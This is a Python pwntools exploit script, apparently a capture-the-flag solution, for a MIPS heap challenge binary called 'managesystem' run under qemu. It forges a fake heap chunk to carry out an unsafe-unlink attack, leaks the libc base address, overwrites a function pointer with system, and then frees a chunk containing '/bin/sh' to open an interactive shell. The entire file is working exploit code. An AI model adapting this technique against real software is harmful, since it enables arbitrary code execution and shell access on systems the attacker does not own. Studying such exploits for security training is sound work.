from pwn import *
context(os = 'linux', arch = 'mips', log_level = 'debug', terminal = ['tmux', 'splitw', '-h', '-p', '60'])
libc = ELF('./lib/libc.so.0')

DEBUG = 0

if DEBUG:
    p = process(['./qemu-mipsel-static', '-g', '1234', '-L', './', './managesystem'])
else:
    p = process(['./qemu-mipsel-static', '-L', './', './managesystem'])

def Add(length, content):
    p.sendlineafter('options >> ', '1')
    p.sendlineafter('length: ', str(length))
    p.sendafter('info: ', content)

def Delete(index):
    p.sendlineafter('options >> ', '2')
    p.sendlineafter('index of user: ', str(index))

def Edit(index, content):
    p.sendlineafter('options >> ', '3')
    p.sendlineafter('index of user you want edit: ', str(index))
    p.sendafter('info: ', content)

def Show(index):
    p.sendlineafter('options >> ', '4')
    p.sendlineafter('index of user you want show: ', str(index))

chunk_array = 0x411830

Add(0x50, 'A'*0x50)
Add(0x50, 'A'*0x50)
Add(0x50, 'A'*0x50)
Add(0x50, 'A'*0x50)

payload  = p32(0) + p32(0x51)
payload += p32(chunk_array - 0xc) + p32(chunk_array - 0x8)
payload += 'A'*0x40
payload += p32(0x50) + p32(0x58)
Edit(0, payload)

Delete(1)

payload = '\x00'*8 + p32(0x411830) + p32(0x50) + p32(0x4117b4) + p32(0x50)
Edit(0, payload)

Show(1)

p.recvuntil('info: ')
libc_base = u32(p.recv(4)) - 0x56b68
libc.address = libc_base
info('libc_base ==> ' + hex(libc_base))

system = libc.symbols['system']

Edit(1, p32(system))
Edit(2, '/bin/sh\x00')
Delete(2)

p.interactive()
